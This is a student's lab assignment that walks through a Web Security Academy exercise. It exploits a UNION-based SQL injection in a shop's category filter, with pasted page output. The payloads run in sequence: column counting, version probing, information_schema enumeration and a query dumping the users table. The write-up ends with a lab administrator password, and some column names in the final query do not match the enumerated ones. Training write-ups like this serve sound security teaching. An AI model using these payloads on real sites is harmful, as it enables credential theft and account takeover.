

Name: Komal Yogesh Dushing

Class: TY

Division: A

Batch: A3

Roll No.: 65

PRN: 0124UITF1065

Assignment 2:

Lab: SQL injection attack, listing the database contents on non-Oracle databases

PRACTITIONER
LAB Solved



This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application's response so you can use a UNION attack to retrieve data from other tables.

The application has a login function, and the database contains a table that holds usernames and passwords. You need to determine the name of this table and the columns it contains, then retrieve the contents of the table to obtain the username and password of all users.

To solve the lab, log in as the `administrator` user.

Hint



ACCESS THE LAB

Step 1: Open the Lab

1. Click Access Lab.
2. Wait for the shopping website to load.

Step 2: Open a Product Category

Click any category such as:

- Accessories
- Corporate gifts
- Food & Drink
- Pets

The URL will look like:

`https://<lab-id>.web-security-academy.net/filter?category=Pets`

The vulnerable parameter is: `category=Pets`

Step 3: Test for SQL Injection

- In the URL, add a single quote after the category.

Example: `...?category=Pets'`

- Press **Enter**.

If the page behaves differently or returns an SQL error, the parameter is injectable.

Output:



SQL injection attack, listing the database contents on non-Oracle databases

LAB Not solved

[Back to lab home](#)

[Back to lab description >>](#)

Internal Server Error

Internal Server Error

Step 4: Find the Number of Columns

Try these payloads one by one: ' ORDER BY 1--

Output:



SQL injection attack, listing the database contents on non-Oracle databases

LAB Not solved

[Back to lab home](#)

[Back to lab description >>](#)

[Home](#) | [My account](#)

WE LIKE TO
SHOP 

Pets' ORDER BY 1--

' ORDER BY 2--

Output:



SQL injection attack, listing the database contents on non-Oracle databases

LAB Not solved

[Back to lab home](#)

[Back to lab description >>](#)

[Home](#) | [My account](#)

WE LIKE TO
SHOP 

Pets' ORDER BY 2--

Refine your search:

[All](#) [Accessories](#) [Corporate gifts](#) [Food & Drink](#) [Pets](#) [Tech gifts](#)

' ORDER BY 3--

Output:



SQL injection attack, listing the database contents on non-Oracle databases

[Back to lab home](#)

[Back to lab description](#) >>

LAB Not solved

Internal Server Error

Internal Server Error

Step 5: Verify with UNION SELECT

Since there are **2 columns**, enter:

' UNION SELECT NULL,NULL--

If the page loads normally, you have confirmed that the query returns **2 columns**.

Output:



SQL injection attack, listing the database contents on non-Oracle databases

[Back to lab home](#)

[Back to lab description](#) >>

LAB Not solved

[Home](#) | [My account](#)



Pets' UNION SELECT NULL,NULL--

Step 6: Find Which Column Displays Output

Replace one NULL at a time with text.

First try:

' UNION SELECT 'ABC',NULL--

Output:



SQL injection attack, listing the database contents on non-Oracle databases

[Back to lab home](#)

[Back to lab description](#) >>

LAB Not solved

[Home](#) | [My account](#)



Pets' UNION SELECT 'ABC',NULL--

Refine your search:

[All](#) [Accessories](#) [Corporate gifts](#) [Food & Drink](#) [Pets](#) [Tech gifts](#)

If **ABC** does not appear on the page, try:

' UNION SELECT NULL,'ABC'--

Whichever query displays **ABC** indicates the visible column.

Output:



SQL injection attack, listing the database contents on non-Oracle databases

[Back to lab home](#) [Back to lab description >>](#)

LAB Not solved 

[Home](#) | [My account](#)

WE LIKE TO

SHOP 

Pets' UNION SELECT NULL,'ABC'--

Refine your search:

[All](#) [Accessories](#) [Corporate gifts](#) [Food & Drink](#) [Pets](#) [Tech gifts](#)

Step 7: Find Database Information

If the **second column** is visible, try:

' UNION SELECT NULL,version()--

If that doesn't work, try:

' UNION SELECT NULL,@@version--

Output:



SQL injection attack, listing the database contents on non-Oracle databases

[Back to lab home](#) [Back to lab description >>](#)

LAB Not solved 

[Home](#) | [My account](#)

WE LIKE TO

SHOP 

Pets' UNION SELECT NULL,version()--

Refine your search:

[All](#) [Accessories](#) [Corporate gifts](#) [Food & Drink](#) [Pets](#) [Tech gifts](#)

Step 8: List Database Tables

List all table names:

```
' UNION SELECT NULL,table_name
FROM information_schema.tables--
```

Output:

Web Security Academy

SQL injection attack, listing the database contents on non-Oracle databases
[Back to lab home](#) [Back to lab description >>](#)

LAB Not solved

[Home](#) | [My account](#)

WE LIKE TO
SHOP

Pets' UNION SELECT NULL,table_name FROM information_schema.tables--

Refine your search:
[All](#) [Accessories](#) [Corporate gifts](#) [Food & Drink](#) [Pets](#) [Tech gifts](#)

pg_extension
pg_class

Step 9: List Columns in the Users Table

Suppose the table name is:

users_uhondy

Run:

```
Pets' UNION SELECT NULL,column_name FROM information_schema.columns WHERE
table_name='users_uhondy'--
```

Output:

Web Security Academy

SQL injection attack, listing the database contents on non-Oracle databases
[Back to lab home](#) [Back to lab description >>](#)

LAB Not solved

[Home](#) | [My account](#)

WE LIKE TO
SHOP

Pets' UNION SELECT NULL,column_name FROM information_schema.columns WHERE table_name='users_uhondy'--

Refine your search:
[All](#) [Accessories](#) [Corporate gifts](#) [Food & Drink](#) [Pets](#) [Tech gifts](#)

Fur Babies
Fur babies is a new concept for those of you who live in apartm
Babbage Web Spray
Webs can be so unpredictable, falling apart and crashing to the
password_yvgpuv
username_eggghy
More Than Just Birdsong
There was a time when the only decorations you would see on the
email
Pest Control Umbrella
We recently discovered, by accident, that vermin and all manner

Pets' UNION SELECT NULL,username_agghmy || ':' || password_yvpuvj FROM users_uhondy--

Output:

Web Security Academy

SQL injection attack, listing the database contents on non-Oracle databases

LAB Not solved

[Back to lab home](#) [Back to lab description >>](#)

[Home](#) | [My account](#)

WE LIKE TO SHOP

Pets' UNION SELECT NULL,username_agghmy || ':' || password_yvpuvj FROM users_uhondy--

Refine your search:
[All](#) [Accessories](#) [Corporate gifts](#) [Food & Drink](#) [Pets](#) [Tech gifts](#)

Pest Control Umbrella
We recently discovered, by accident, that vermin and all manner of pets and pests are attracted to umbrellas. Not to just any umbrellas though, they have to be long, pointy ones. It is very hard these days to get hold of an umbrella that isn't collapsible, these will not work as pest control. So, we decided to start designing and manufacturing our unique Pest Control Umbrella, the only genuine umbrella that will do the job. We have all copyright on these brollias and no other companies are allowed to remotely hint that their umbrellas can be used to rid yourself of those pesky pests. Never knowingly undersold we guarantee a price match on any other form of pest control, but not if you use a different umbrella for the job. Easy to use, just pop under your arm, pointy end facing behind you and watch the creatures follow your lead. By purchasing this highly effective product you will be well on your way to starting up your own pest control business, a little investment now will pay great dividends in the future for you and your family.

Babbage Web Spray
Webs can be so unpredictable, falling apart and crashing to the ground just when you don't want them to. Babbage web spray is here to help. This easy to use solvent will keep any web fully functional for as long as you need it to be. There is nothing more rewarding than waking up to a full web of bugs, you no longer need to fear eggs being laid overnight in your leftover pizza. The concerns of leaving food out as the refuse bag is full are gone forever. No flies on you, or your takeaway. Easy to use, just wait for Mr. Spider to do his daily rounds, shake the can and spray the web. WARNING: Make sure it is completely dry before Mr. spider returns, you don't want him getting stuck and losing a leg in an effort to break free. The solvent has highly tested ingredients that work with the web's own adhesive qualities in order for it to be a complete working bug catcher. Babbage is a very versatile product, if used on low lying webs it will also work as a catcher of mice, rats, and even the odd curious raccoon. And there's more, if not overused it can even replace your conventional hairspray. WARNING: DO NOT USE ON WET HAIR. The solvent will clump and become permanent. For such a small price you'd be a fool not to give it a try. You can be the envy of your neighborhood, and you'll never be short of visitors who will want to see your web display.

1. Click **My Account** (top of the page).
2. Enter:
3. **Username:** administrator
4. **Password:** qh3ddo59mdim7c343pyq
5. Click **Log in**.

Output:

Web Security Academy

SQL injection attack, listing the database contents on non-Oracle databases

LAB Solved

[Back to lab description >>](#)

[Share your skills!](#) [Twitter](#) [LinkedIn](#) [Continue learning >>](#)

[Home](#) | [My account](#) | [Log out](#)

My Account

Your username is: administrator

Email

Update email